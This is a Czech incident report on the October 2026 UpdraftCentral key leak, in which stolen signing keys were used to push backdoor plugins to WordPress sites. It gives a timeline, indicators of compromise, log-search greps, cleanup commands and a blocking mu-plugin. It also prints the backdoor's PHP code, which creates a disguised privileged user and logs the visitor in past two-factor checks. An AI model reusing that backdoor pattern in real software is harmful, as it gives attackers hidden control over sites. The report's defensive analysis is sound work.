Kritický bezpečnostní problém UpdraftCentral: útočník s klíči služby nahrál backdoor na naše weby

Kritický bezpečnostní problém UpdraftCentral: útočník s klíči služby nahrál backdoor na naše weby

Shrnutí

Stav k 22. říjnu 2026, poslední aktualizace 22. 10. 2026 (nová vyjádření výrobce, kontrolní skript v9). Seznam změn je na konci článku. Text budeme doplňovat podle dalšího vývoje.

Aktualizace 19. 10. 2026: TeamUpdraft potvrdil bezpečnostní incident. Během víkendu 17. a 18. října měl útočník neoprávněný přístup na teamupdraft.com a podle výrobce pravděpodobně získal zákaznickou databázi: jména, e-maily, fakturační adresy, historii objednávek, hashe hesel, nastavení dvoufázového ověření a klíče spojení pro UpdraftCentral (cloud), UpdraftVault a UpdraftClone. Klíče, kterými útočník podepisoval příkazy, tedy unikly přímo od výrobce. Výrobce odhlásil všechny účty, vyměnil klíče pro UpdraftVault a UpdraftClone a připravuje nouzovou verzi UpdraftPlus, která automaticky odpojí všechna spojení UpdraftCentral vytvořená před 18. 10. 2026 22:00 BST (23:00 SELČ). Později tuto hranici v prohlášení opravil na 13:07 BST (14:07 SELČ), viz níže. Dashboardů UpdraftCentral hostovaných na vlastním serveru se únik podle výrobce netýká.

Aktualizace 19. 10. 2026 (večer): Patchstack zveřejnil vlastní analýzu, která naše zjištění potvrzuje a rozšiřuje. Viděl 99 různých názvů backdoor pluginů nainstalovaných od 18. 10. 15:32 do 19. 10. 9:23 a druhou IP adresu útočníka 2a09:bac5:4e21:2e3c::49b:9. Ozvali se nám i další postižení správci. Jeden z nich našel druhou variantu backdooru, která vytváří administrátora a snaží se ho skrýt. Popisujeme ji níže a kontrolní skript jsme upravili, aby ji zachytil. Pokud jste skript spouštěli dříve, spusťte ho znovu.

Aktualizace 19. 10. 2026 (funkční varianta): Další správce potvrdil, že funkční verze backdooru je v oběhu. Na jeho webech byly tři ze čtyř backdoorů funkční, každý s jiným názvem i popisem. Bez parametru m přihlásí útočníka jako existujícího administrátora a nezanechá v databázi žádnou stopu, proto zkontrolujte i access log (postup níže). Kontrolní skript jsme upravili na verzi 3, která takové vzorky zachytí podle kódu.

Aktualizace 19. 10. 2026 (rozbor vzorku): Další postižený správce nám poslal tři backdoory ze svých webů. Útočník tam nejprve nahrál nefunkční první variantu a později funkční backdoory. Pokud jste našli první variantu, ale klíč UpdraftCentral jste hned nesmazali, zkontrolujte web znovu. Vzorek druhé varianty jsme tak mohli rozebrat i sami. Skrývání účtu v něm nefunguje, takže vytvořený administrátor se v seznamu uživatelů zobrazí normálně. Třetí vzorek je nová minimální varianta, která útočníka jen přihlásí jako existujícího administrátora. Zachytí ji kontrolní skript ve verzi 4.

Aktualizace 19. 10. 2026 (útočník se vrací): Útočník je stále aktivní. Během 19. října poslal na všechny tři naše weby další příkazy, naposledy ve 20:27 SELČ. Na webu jiného správce ve 12:22 SELČ příkazem plugin.delete_plugin smazal nefunkční backdoor a o dvě sekundy později nahrál nový. U nás pokusy zablokoval mu-plugin z kroku 3 a klíče už byly smazané. Klíč UpdraftCentral smažte i tehdy, pokud jste backdoor už odstranili. Pokusy zablokované mu-pluginem se do logu UpdraftCentral nezapíšou, najdete je jen v access logu.

Aktualizace 19. 10. 2026 (nouzová verze): Výrobce vydal UpdraftPlus 1.26.12 / 2.26.12, která měla smazat klíče UpdraftCentral Cloud z doby před incidentem. V kódu jsme ověřili, že kvůli chybě nesmaže žádný klíč. Výrobce to týž večer opravil ve verzi 1.26.13 / 2.26.13. Aktualizujte na 1.26.13 / 2.26.13 nebo novější, ne na 1.26.12 / 2.26.12. Ani 1.26.13 však nesmaže klíče vytvořené 18. 10. mezi 14:07 a 23:00 SELČ, přestože výrobce v prohlášení původně uvedl hranici 23:00 SELČ. V prohlášení aktualizovaném 23. 10. už uvádí 14:07 SELČ (13:07 BST), což odpovídá kódu. Klíče vytvořené 18. 10. později pro jistotu smažte ručně; návod výrobce stejně radí smazat klíč na každém webu. Útoky na naše weby začaly až poté, co výrobce únik potvrdil a útočníkovi zablokoval přístup: ukradené klíče fungují, dokud je web nesmaže. Naše weby s prémiovou verzí ji dostaly automaticky 20. 10.

Aktualizace 20. 10. 2026 (klíč bez vědomí správce): Klíč UpdraftCentral můžete mít, i když jste UpdraftCentral nikdy nepoužívali. UpdraftPlus, bezplatný i prémiový, při přihlášení k účtu teamupdraft.com předem zaškrtne políčko „Add this website to UpdraftCentral“. Zkontrolujte proto klíč na každém webu s UpdraftPlus. Další napadený správce nám napsal, že UpdraftCentral nikdy nezapínal. Jeho web měl Wordfence, Patchstack i Cloudflare a ani jeden z nich platně podepsaný příkaz UpdraftCentral nezastavil.

Aktualizace 20. 10. 2026 (skrytý backdoor): Další správce nám poslal tři backdoory z jednoho webu. Jeden z nich, „Site Health Cache“, se skrývá ze seznamu pluginů v administraci, takže ho tam neuvidíte. Spolehněte se proto na kontrolní skript, který čte soubory přímo z disku. Na tom webu útočník za necelých deset hodin nahrál minimální, funkční i nefunkční variantu.

Aktualizace 20. 10. 2026 (další vzorky): Od tří správců jsme dostali dalších deset vzorků. Všechny patří ke třem známým variantám, mění se jen název, popis, falešný autor a token. Na dvou webech jednoho správce běžely funkční backdoory přes tři hodiny předtím, než web shodila nefunkční varianta. To, že web spadl, tedy neznamená, že se útočník předtím nemohl dostat dovnitř. Access log zkontrolujte i v takovém případě. I tento správce podle vlastních slov UpdraftCentral nikdy nepoužíval.

Aktualizace 20. 10. 2026 (útočník zkouší backdoory): 20. října útočník přímo vyzkoušel tajné spouštěče už odstraněných backdoorů na nejméně šesti webech čtyř správců včetně dvou našich (u nás v 11:39 a 11:57 UTC). Na našich webech použil správné tokeny. Požadavky přišly z IP adres 178.83.37.220, 178.83.37.243, 178.94.218.31 a z rozsahů 69.33.133.x, 69.33.134.x a 69.33.144.x, vždy s oříznutou hlavičkou User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36. Všude dostal běžnou stránku nebo chybu, protože backdoory tam už nebyly. Pokud backdoor na webu ještě máte, útočník ho aktivně používá. Access log prohledejte podle postupu níže.

Aktualizace 21. 10. 2026 (útočník stále posílá příkazy): I 21. října ráno poslal útočník z IP 43.250.53.42 další příkazy UpdraftCentral na dva naše weby (7:10 až 9:21 UTC), tedy už po vydání verze 1.26.13 / 2.26.13. U nás je zastavil mu-plugin a klíče už neexistovaly. Útočník tedy klíče z úniku stále používá. Ohrožené zůstávají weby, které nemají 1.26.13 / 2.26.13 a klíč nesmazaly ručně.

Čeho se to týkáslužby UpdraftCentral, jejíž klient je součástí pluginu UpdraftPlus, bezplatného i prémiového
Dotčené verzevšechny verze UpdraftPlus do 1.26.12 a 2.26.12 připojené k UpdraftCentral Cloud spojením vytvořeným nejpozději 18. 10. 2026. Verze 1.26.13 / 2.26.13 smaže klíče vytvořené před 18. 10. 14:07 SELČ (13:07 BST). Tuto hranici uvádí od aktualizace 23. 10. i prohlášení výrobce (původně 23:00 SELČ). Klíče vytvořené 18. 10. později na webu zůstanou, proto je pro jistotu smažte ručně. Připojené weby s verzemi do 1.26.4 a 2.26.4 umí útočník napadnout i bez platných klíčů (CVE-2026-10795).
Kolik webůUpdraftPlus má podle wordpress.org více než 4 miliony aktivních instalací a výrobce ho označuje za nejpopulárnější plugin pro plánované zálohování na světě. U červnové chyby stejného kanálu výrobce odhadl, že klíč UpdraftCentral nebo Migrator má méně než 10 % uživatelů, tedy až kolem 400 000 webů. Kolik z nich útočník napadl, nevíme.
Opravavýrobce 19. 10. vydal UpdraftPlus 1.26.12 / 2.26.12, která měla smazat staré klíče UpdraftCentral Cloud, ale kvůli chybě nesmaže žádný. Funguje až 1.26.13 / 2.26.13 z večera 19. 10.: při každém načtení webu smaže klíče UpdraftCentral Cloud vytvořené před 18. 10. 2026 14:07 SELČ. Klíče vytvořené mezi 14:07 a 23:00 SELČ (původní hranice výrobce) je třeba smazat ručně, stejně jako na webech, kde aktualizace ještě neproběhla. Návod výrobce stejně radí smazat klíč na každém webu. Podle výrobce WordPress.org verzi 1.26.13 rozeslal všem webům automaticky.
Dočasné řešenízrušit spojení s UpdraftCentral, web zkontrolovat naším skriptem, změnit heslo k účtu teamupdraft.com a volitelně zablokovat příkazy UpdraftCentral malým mu-pluginem (postup níže). UpdraftPlus není třeba odinstalovat, zálohování funguje dál.

V noci na 19. října 2026 poslal útočník z IP adresy 43.250.53.42 přes službu UpdraftCentral příkaz plugin.upload_plugin na tři naše weby s WordPressem. UpdraftCentral je služba pro vzdálenou správu webů od TeamUpdraft a její klient je zabudovaný v každé kopii pluginu UpdraftPlus. Na dvou z našich webů příkaz prošel a WordPress nainstaloval a aktivoval neznámý plugin. Na třetím selhal na oprávněních.

Chyba nebyla na naší straně. Všechny tři weby měly aktuální WordPress 7.1.3 i UpdraftPlus 2.26.11, opravený proti červnové zranitelnosti CVE-2026-10795. Útočník se do našich serverů nenabořil a nevyužil žádnou chybu v naší konfiguraci. Přišel kanálem vzdálené správy UpdraftCentral a příkazy podepsal platnými soukromými klíči dashboardu. Ty generuje a uchovává služba UpdraftCentral Cloud a na našich serverech nikdy nebyly. Kdo je má, může na každém připojeném webu bez vědomí majitele nainstalovat a spustit libovolný kód. Proto to považujeme za kritický bezpečnostní problém služby UpdraftCentral.

Kdo je ohrožen: každý web s UpdraftPlus, bezplatným i prémiovým, který je připojený k UpdraftCentral, tedy má vytvořený klíč UpdraftCentral. Klienta UpdraftCentral obsahuje každá z více než 4 milionů instalací UpdraftPlus. Weby, které k UpdraftCentral připojené nejsou, tento útok neohrožuje, protože příkazy UpdraftCentral bez klíče nepřijímají. Naše weby byly připojené k UpdraftCentral Cloud, tedy k dashboardu, který provozuje TeamUpdraft. Podle výrobce se únik netýká dashboardů UpdraftCentral hostovaných na vlastním serveru. Unikly ale i klíče pro UpdraftVault a UpdraftClone, které výrobce mezitím vyměnil. Klíč přitom mohl vzniknout i bez vědomí správce: bezplatná i prémiová verze při přihlášení k účtu teamupdraft.com na kartě Premium / Extensions nabízí políčko „Add this website to UpdraftCentral“, které je předem zaškrtnuté, dokud web nemá žádný klíč (ověřili jsme v kódu verzí 2.26.11 a 1.26.13). Samotnou instalací pluginu klíč nevznikne, jen přihlášením k účtu teamupdraft.com v pluginu. Týká se to proto hlavně prémiových webů, kde se správce přihlašuje kvůli licenci a aktualizacím, a bezplatných webů, které se k účtu někdy přihlásily.

Nejde o zranitelnost CVE-2026-10795, o které v červnu psal Wordfence: tu měly naše weby opravenou a pokusy o její zneužití na nich selhávaly.

Plugin je backdoor. Na tajný odkaz měl vytvořit účet se zamaskovanými právy administrátora a útočníka do něj rovnou přihlásit. Autor však v kódu udělal chybu, takže na našich webech backdoor nikdy nefungoval. Místo toho shodil každý požadavek na web, který nešel z cache, a WordPress nám o tom poslal e-mail. Díky tomu jsme ho našli během několika minut až hodin. Jiní správci však už našli i funkční varianty, které popisujeme níže.

Incident jsme 19. října nahlásili TeamUpdraft a požádali je o vysvětlení, jak se klíče dostaly k útočníkovi.

Pokud máte web připojený k UpdraftCentral, považujte ho za potenciálně kompromitovaný, dokud ho neověříte. Spojení okamžitě zrušte a web zkontrolujte podle postupu níže. K 19. říjnu 2026 jsme o tomto backdooru ani o podobném útoku po červnové opravě nenašli žádnou veřejnou zmínku.

Co udělat hned

1. Zrušte spojení s UpdraftCentral

Aktualizujte UpdraftPlus na verzi 1.26.13 (bezplatná) nebo 2.26.13 (prémiová) či novější. Ta sama smaže klíče UpdraftCentral Cloud vytvořené před 18. 10. 2026 14:07 SELČ. Verze 1.26.12 / 2.26.12 klíče nesmaže. Potom i tak zkontrolujte, zda na webu nezůstal žádný klíč:

V administraci WordPressu otevřete Nastavení → UpdraftPlus Backups → karta „Advanced Tools“ → „UpdraftCentral“. Klikněte na „Manage existing keys (N)…“ a u každého klíče na „Delete…“. Pokud tam žádný klíč není, web připojený není.

S přístupem k příkazové řádce totéž udělá tento příkaz v kořenovém adresáři WordPressu:

wp option delete updraft_central_localkeys

Potom web odstraňte i v dashboardu UpdraftCentral (teamupdraft.com → My account → UpdraftCentral → ••• u webu → Remove site). Samotné odstranění z dashboardu nestačí. Útočník má soukromý klíč dashboardu, takže rozhoduje smazání klíče na webu.

Výrobce uvádí, že po smazání klíče, kontrole webu a změně hesel administrátorů můžete web znovu připojit. Předtím si změňte heslo k účtu teamupdraft.com (adresu zadejte do prohlížeče ručně, ne přes odkaz z e-mailu), stejné heslo změňte všude, kde jste ho použili, a znovu nastavte dvoufázové ověření. Pokud máte nasazený náš blokovací mu-plugin, před novým připojením ho odstraňte. Kdo používá UpdraftVault, musí web k němu znovu připojit s novými údaji.

Pokud máte na webu i klíče UpdraftPlus Migrator (karta „Migrate / Clone“) a právě nemigrujete, smažte i ty, například příkazem wp option delete updraft_migrator_localkeys. Používají stejný kanál a umožňují jinému webu posílat na váš web soubory záloh. Jejich zneužití jsme zatím neviděli.

Prémiový UpdraftPlus si heslo k účtu teamupdraft.com ukládá do databáze tak, jak ho zadáte (volba updraftplus-addons_options), a smaže ho až po úspěšném ověření tokenem. Může proto zůstat v databázi i v jejích zálohách. V praxi tam často zůstane natrvalo. Jeden čtenář ho našel na všech třech webech s prémiovou verzí a v zálohách už od roku 2022 a ověřil si, že se uloží při obyčejném připojení k účtu na kartě Premium / Extensions. My jsme ho našli na jednom ze tří webů. Výrobce uvádí, že se heslo po prvním připojení smaže, kód ho však maže až po úspěšném nárokování doplňků přes token. Odstranit ho můžete příkazem níže, aktualizace pluginu ho nepotřebují. Potom heslo k účtu změňte. Pokud se budete v pluginu k účtu znovu přihlašovat, odškrtněte políčko „Add this website to UpdraftCentral“. V dosud analyzovaných vzorcích z této kampaně jsme kód, který by toto heslo četl, nenašli, přečíst ho však může každý funkční backdoor nebo nahraný plugin.

wp eval '$o = get_option("updraftplus-addons_options"); if (is_array($o)) { unset($o["password"]); update_option("updraftplus-addons_options", $o); }'

2. Ověřte, zda na webu není backdoor

Bez příkazové řádky:

  • Na stejné obrazovce UpdraftCentral klikněte na „View recent UpdraftCentral log events…“. Hledejte řádky „Command received: plugin.upload_plugin“, „Command received: plugin.delete_plugin“ a „probe.central.updraftplus.com“. Pokud je web za proxy, například Cloudflare, log ukazuje IP adresu proxy, ne útočníka. Řádky „Signature verification failed; discarding“ znamenají, že to útočník zkoušel, ale jeho klíč k webu neseděl a web příkaz zahodil.
  • V seznamu pluginů hledejte plugin, který jste neinstalovali. První varianta má popis „Small maintenance toolkit: keeps option storage tidy.“ a název ze dvou slov, většinou se třemi znaky navíc, například „Load Stack 35C“ nebo „Query Shelf“. Další varianty mají pokaždé jiný název i popis, například „Boost Kit“, „Cache Smith“ nebo „Site Health 364F“. Některé varianty se však ze seznamu pluginů skrývají, takže pohled do něj nestačí.
  • V seznamu uživatelů hledejte účet se jménem „Site Tools“ nebo s e-mailem na @example.org či @example.com. Funkční varianta vytváří administrátora, kterého se snaží skrýt, ale v seznamu se zobrazí normálně.
  • Pokud backdoor přihlásí útočníka jako existujícího administrátora, žádný účet nevytvoří. Pak ho prozradí jen plugin a access log, proto web zkontrolujte i skriptem a podívejte se do access logu.

Pokud je na webu první varianta backdooru, administrace nemusí fungovat, protože plugin shazuje každý požadavek. Pak použijte příkazovou řádku.

S příkazovou řádkou uložte náš kontrolní skript z konce článku jako check-updraftcentral.php do kořenového adresáře WordPressu a spusťte:

wp eval-file check-updraftcentral.php --skip-plugins --skip-themes

Skript nic nemění, jen čte. Přepínač --skip-plugins je důležitý, protože nainstalovaný backdoor by jinak shodil i WP-CLI. Řádky [ALERT] znamenají stopy útoku, [WARN] věc ke kontrole a [OK] čistý výsledek. Záznam o přijatém příkazu ještě neznamená, že se plugin nainstaloval (na jednom z našich webů neprošel), proto skript kontroluje i soubory, volby v databázi a účty. Pokud najde cokoli s [ALERT], pokračujte částí „Co dělat, když ho najdete“.

UpdraftPlus si v logu UpdraftCentral pamatuje jen posledních 50 událostí. Na webu, kam často chodí skenery, může záznam o útoku z logu vypadnout a skript pak u logu hlásí [OK]. Pokud máte přístup k logům webového serveru, prohledejte i je (cestu upravte podle serveru, u nginx například /var/log/nginx/):

grep 'class-udrpc.php"' /var/log/apache2/*access*

Příkaz najde požadavky UpdraftCentral bez verze knihovny v hlavičce User-Agent, jaké posílal útočník. Skutečný dashboard posílá class-udrpc.php/2.0; https://teamupdraft.com, takže ho příkaz nezachytí.

Funkční varianta backdooru nemusí v databázi zanechat žádnou stopu: bez parametru m přihlásí útočníka jako existujícího administrátora. V access logu proto hledejte i požadavky na spouštěče obou variant:

zgrep -E '[?&](_[0-9a-f]{6}|[0-9a-f]{12})=[^&" ]{32}[& ]' /var/log/apache2/*access*

Každý nalezený řádek prověřte. Stav 302 znamená přesměrování do administrace, tedy pravděpodobně úspěšné přihlášení útočníka. Stav 500 znamená, že na webu je ještě nefunkční varianta. Stav 200 s běžnou velikostí stránky znamená, že backdoor na webu už není. Příkaz zgrep prohledá i starší komprimované logy.

3. Volitelně: zablokujte příkazy UpdraftCentral úplně

Pokud chcete mít jistotu, že web neprovede žádný příkaz UpdraftCentral ani tehdy, kdyby na něm zůstal klíč, uložte do adresáře wp-content/mu-plugins/ soubor block-updraftcentral.php s tímto obsahem:

<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
	http_response_code( 403 );
	exit;
}

Soubory v mu-plugins WordPress načítá před běžnými pluginy, takže se požadavek zastaví dřív, než ho UpdraftPlus zpracuje. Blokuje i migraci webů přes UpdraftPlus Migrator, která používá stejný kanál. Až výrobce problém vysvětlí a vyřeší, soubor smažte.

Další levná ochrana: pokud PHP nemůže zapisovat do wp-content/plugins (například jiný vlastník adresáře a práva 750), web podepsaný příkaz sice přijme, ale instalace pluginu selže. Na jednom z napadených webů to útok zastavilo. Pluginy pak je třeba aktualizovat jinak, například přes WP-CLI pod vlastníkem adresáře.

Pokud používáte Wordfence, obnovte pravidla firewallu (Wordfence → Firewall → All Firewall Options → Manually Refresh Rules). Wordfence vydal pravidlo, které blokuje příkazy UpdraftCentral, i pro bezplatnou verzi. Pravidlo však platí jen pro UpdraftPlus do 1.26.11 a před 2.26.12, takže web aktualizovaný na 1.26.12 / 2.26.12 už nechrání, přestože tyto verze klíče nesmažou. Aktualizujte proto rovnou na 1.26.13 / 2.26.13.

Jak jsme na to přišli

V 5:38 nám přišel automatický e-mail WordPressu: „WordPress caught an error with one of your plugins, Load Stack 35C.“ Plugin s takovým názvem jsme nikdy neinstalovali. Chybová zpráva zněla Uncaught Error: Undefined constant LoadStack35c::FIELD a náš web od 4:14 vracel na každý požadavek chybu 500.

Všechny soubory v adresáři wp-content/plugins/load-stack-35c/ měly stejný čas zápisu, 4:14:30. O sekundu později se změnil adresář wp-content/upgrade/, který WordPress používá při rozbalování instalovaných pluginů. Plugin tedy přišel přes standardní instalátor WordPressu, ne nahráním souboru na disk. V access logu přesně v té sekundě stojí jediný požadavek:

43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"

class-udrpc.php je knihovna, přes kterou UpdraftPlus přijímá příkazy z UpdraftCentral. Její vlastní log (volba updraftcentral_client_log v databázi) to potvrdil: Command received: plugin.upload_plugin.

Časová osa

Weby označujeme A, B a C. Všechny časy jsou v SELČ. Všechny požadavky přišly z 43.250.53.42 (poskytovatel RedSwitches) s hlavičkou User-Agent WordPress/6.4; class-udrpc.php.

WebSondaInstalace pluginuVýsledek
Web C19. 10. 0:41:326:05:31selhala, klíč patřil uživateli bez práva instalovat pluginy
Web A2:14:054:14:30backdoor „Load Stack 35C“ aktivní, web nedostupný do 6:13
Web B2:39:446:53:49backdoor „Text Gantry Eb0“ aktivní, odstraněn v 6:56

Sonda je zpráva adresovaná neexistujícímu klíči probe.central.updraftplus.com. Web na ni odpoví, že zprávě nerozumí, a tím prozradí, že přijímá příkazy UpdraftCentral. Další příkaz už útočník poslal na skutečný klíč 0.central.updraftplus.com. Na všech třech webech proběhl útok stejně, od stejného útočníka, s odstupem několika hodin.

Jiný správce nám poslal záznamy, podle kterých stejná IP 43.250.53.42 zkoušela na dvou z jeho webů už 23. září 2026 jiné útoky: dotaz na REST API se seznamem stránek a asi deset pokusů o path traversal v parametru pagename. Útočník tedy tyto weby zkoumal téměř měsíc před útokem přes UpdraftCentral.

Útočník se k webům vracel. 19. října poslal další požadavky UpdraftCentral na web A v 10:57:48, na web B v 11:14:19 a na web C ve 12:03:14, vždy dva ve stejné sekundě, a na web C ještě jeden ve 20:27:50. Všechny už zastavil náš mu-plugin s odpovědí 403, takže nevíme, co obsahovaly. Jiný správce nám poslal log UpdraftCentral, podle kterého útočník ve 12:22:48 poslal plugin.delete_plugin a ve 12:22:50 nový plugin.upload_plugin, čímž nefunkční backdoor nahradil jiným. Naše dvojice požadavků pravděpodobně patří ke stejné výměně. UpdraftPlus zapíše každý příkaz, který projde ověřením podpisu, do logu UpdraftCentral jako „Command received“ ještě před provedením (ověřili jsme v kódu verze 2.26.11). Log ale drží jen posledních 50 událostí a požadavky zastavené mu-pluginem v něm nejsou.

Na webu dalšího správce poslal útočník sondu 18. 10. ve 23:10:30 SELČ a pak nahrál tři různé backdoory: ve 23:39:52 minimální skrytý „Site Health Cache“, v 0:34:34 funkční „Fast2engine“ a 19. 10. v 9:28:47 nefunkční „Post Dock 776“. Dvojice požadavků v 11:40:45 a 11:40:46 tam skončila chybou 500, protože nefunkční backdoor už shazoval celý web. Útočník tedy neposílá vždy nejprve nefunkční variantu a na jeden web jich může nahrát víc.

Jak útok proběhl

Při připojení webu k UpdraftCentral si web vygeneruje pár klíčů RSA a veřejný klíč pošle službě UpdraftCentral Cloud. Služba má vlastní pár klíčů a webu pošle jen svůj veřejný klíč. Soukromý klíč dashboardu zůstává u služby. Každý příkaz musí být zašifrovaný pro klíč webu a podepsaný soukromým klíčem dashboardu. Web ho pak provede s právy uživatele, který klíč ve WordPressu vytvořil.

Příkaz plugin.upload_plugin prošel na dvou webech celou touto kontrolou. Podrobně jsme to rozebrali na webu A a vyloučili jsme tato vysvětlení:

  1. Známá zranitelnost CVE-2026-10795. Týká se verzí UpdraftPlus do 1.26.4 (prémiová do 2.26.4). Naše weby měly 2.26.11. Pokusy o její zneužití vidíme na webech B a C v lozích od června z desítek IP adres a všechny skončily hláškou „Could not decrypt incoming message“.
  2. Upravený plugin. Soubory class-udrpc2.php, central/bootstrap.php, central/listener.php a central/host.php jsou bajt po bajtu shodné s oficiální verzí 1.26.11 z wordpress.org.
  3. Starší formát zpráv bez podpisu. Kód ho pro klíče UpdraftCentral odmítá a záznam „Command received“ vzniká až po této kontrole.
  4. Podvržený klíč dashboardu. Otisky klíčů jsou stejné v denních zálohách z 15. až 18. října i v živé databázi a v access lozích nikdo nevolal funkci pro výměnu klíče.
  5. Slabá kryptografie. Klíč webu i dashboardu mají RSA 2048 bitů s exponentem 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, ve které je opravená známá chyba v ověřování podpisů.
  6. Napadený wp-admin. Neznámí administrátoři nepřibyli, kontrolní součty jádra i pluginů sedí a v lozích není žádné nahrání pluginu přes administraci.

Útočník tedy měl soukromé klíče dashboardu pro všechna tři spojení najednou. Na našich serverech tyto klíče nikdy nebyly, takže odtud uniknout nemohly. Příkazy přitom nepřišly ze serveru TeamUpdraft. Skutečný dashboard posílal na web B v březnu a dubnu 2026 příkazy s hlavičkou User-Agent:

WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.com

Útočník posílal WordPress/6.4; class-udrpc.php, bez verze knihovny a bez URL, ze svého serveru. Klíče tedy unikly z prostředí UpdraftCentral Cloud a útočník je použil mimo něj.

TeamUpdraft 19. října potvrdil, že během víkendu 17. a 18. října měl útočník přístup na teamupdraft.com a pravděpodobně i k zákaznické databázi včetně klíčů UpdraftCentral. Klíče tedy unikly z infrastruktury výrobce. Odpovídá tomu i časová osa: klíče pro weby B a C existovaly od listopadu 2025 a útočník je nepoužil až do noci z 18. na 19. října, tedy hned po úniku. Jak se útočník na teamupdraft.com dostal, výrobce neuvedl.

Na webu C útok selhal náhodou. Klíč tam v listopadu 2025 vytvořil uživatel, který už není administrátor. UpdraftCentral před instalací ověřuje, zda má vlastník klíče práva install_plugins a activate_plugins. Neměl ani jedno.

Proč jde o kritický problém UpdraftCentral

Klient UpdraftCentral je součástí každé kopie UpdraftPlus, bezplatné i prémiové. Zapne se, když majitel připojí web k dashboardu. Od té chvíle web provede každý příkaz podepsaný klíčem dashboardu s právy administrátora, který spojení vytvořil, včetně nahrání a aktivace libovolného pluginu. Majitel webu příkaz nepotvrzuje a v našem případě nás na něj nic neupozornilo. Klíče na straně webu nemají dobu platnosti: ty z listopadu 2025 fungovaly i v říjnu 2026 a jiný správce hlásí zneužité klíče z února a března 2022. Stáří klíče tedy před zneužitím nechrání. Zneužitý byl i klíč webu A vytvořený 10. 10. 2026. Jiný správce si všiml, že testovací kopii webu se stejným klíčem, ale jinou adresou útočník nechal na pokoji. Útočník tedy zřejmě postupoval podle seznamu webů, který má jen UpdraftCentral.

Bezpečnost všech připojených webů tak stojí na jediném předpokladu, že soukromé klíče dashboardu neuniknou. Unikly, a útočník z jednoho místa během pár hodin ovládl dva weby a pokusil se o třetí. UpdraftPlus má více než 4 miliony aktivních instalací. Počtem instalací ho mezi pluginy se zálohováním na wordpress.org předbíhá jen All-in-One WP Migration (5+ milionů), který slouží hlavně k migraci webů. UpdraftCentral používá jen část uživatelů UpdraftPlus, i malý podíl ze 4 milionů však znamená hodně webů.

Stejný kanál už jednou selhal. V červnu 2026 výrobce opravil zranitelnost CVE-2026-10795 (CVSS 8.1), přes kterou mohl útočník bez přihlášení podvrhnout příkazy UpdraftCentral a nainstalovat a aktivovat škodlivý plugin. Pokusy o její zneužití zachytáváme v našich lozích dodnes.

Co přesně backdoor dělá

Plugin má pět souborů, ale logiku obsahuje jen hlavní. Tady je jeho podstatná část ze vzorku z webu A. Token a heslo jsme zkrátili:

define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' );      // 32 znaků
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' );    // 22 znaků

final class LoadStack35c {
	private function __construct() {
		add_action( 'init', array( $this, 'handle_sync' ), 1 );
	}

	public function handle_sync() {
		if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
			$user = get_user_by( 'login', self::SVC_LOGIN );
			if ( ! $user ) {
				$uid = wp_insert_user( array(
					'user_login'   => self::SVC_LOGIN,
					'user_pass'    => self::SVC_PASS,
					'user_email'   => self::SVC_LOGIN . '@example.org',
					'display_name' => 'Site Tools',
					'role'         => 'editor',
				) );
				if ( is_wp_error( $uid ) ) return;
				$u = new WP_User( $uid );
				$u->add_cap( 'manage_options' );
				$u->add_cap( 'install_plugins' );
				$user = get_user_by( 'id', $uid );
			}
			wp_set_current_user( $user->ID, $user->user_login );
			wp_set_auth_cookie( $user->ID, true, is_ssl() );
			wp_safe_redirect( admin_url( 'index.php' ) );
			exit;
		}
	}
}

register_activation_hook( __FILE__, function () {
	if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
		update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
	}
} );

LoadStack35c::instance();

Takto by fungoval, kdyby v něm nebyla chyba:

  1. Při každém požadavku na web se zavěsí na akci init s prioritou 1, tedy dříve než většina ostatních pluginů.
  2. Podívá se, zda adresa obsahuje parametr ?_9f5696=, a jeho hodnotu porovná s 32znakovým tokenem. Porovnává funkcí hash_equals, která trvá stejně dlouho bez ohledu na shodu, takže token nejde uhodnout měřením času odpovědi. Bez správného tokenu se nestane nic a web se chová normálně.
  3. Se správným tokenem vytvoří uživatele data-ops43 s heslem zapsaným v pluginu, e-mailem data-ops43@example.org a zobrazovaným jménem „Site Tools“.
  4. Dá mu roli Editor a k tomu dvě samostatná oprávnění: manage_options a install_plugins.
  5. Přihlásí návštěvníka jako tohoto uživatele přes wp_set_auth_cookie s volbou „zapamatovat si mě“, tedy cookie platnou 14 dní. Přihlašovací formulář tím úplně obejde, takže na něj nepůsobí dvoufázové ověření, omezení počtu pokusů ani ochrana přihlášení ve Wordfence.
  6. Přesměruje ho do administrace.

Role Editor se dvěma oprávněními navíc je záměr. V seznamu uživatelů se účet ukazuje jako Editor, ne Administrátor, takže při běžné kontrole adminů ho přehlédnete. Prakticky má ale plnou moc nad webem:

  • install_plugins dovolí nahrát libovolný plugin. Jeho PHP soubory jde spustit přímo přes URL i bez aktivace, což znamená spuštění libovolného kódu na serveru.
  • manage_options zpřístupní všechna nastavení. Stačí zapnout registraci a výchozí roli nastavit na administrátora, a útočník si vytvoří plnohodnotného admina.
  • Editor má na běžném WordPressu i unfiltered_html, takže může do článků vložit JavaScript, který se spustí v prohlížeči každého administrátora.

Backdoor má i druhou vrstvu. Vytvořený účet se známým heslem zůstane ve WordPressu i po odstranění pluginu a útočník se jím umí přihlásit přes běžný formulář, pokud tento účet nemá zapnuté dvoufázové ověření.

Chyba, která nás zachránila

Konstanty jsou definované funkcí define() jako globální (LOADSTACK35C_FIELD), ale kód je čte jako konstanty třídy (self::FIELD). Třída žádné konstanty nemá. PHP 8 proto při prvním vyhodnocení self::FIELD vyhodí Error: Undefined constant LoadStack35c::FIELD. Stane se to ještě před kontrolou tokenu, tedy při každém požadavku: při běžné návštěvě, v administraci, při přihlášení, v REST API, při cronu i ve WP-CLI. Web padá s chybou 500 a obsluhuje jen stránky uložené v cache.

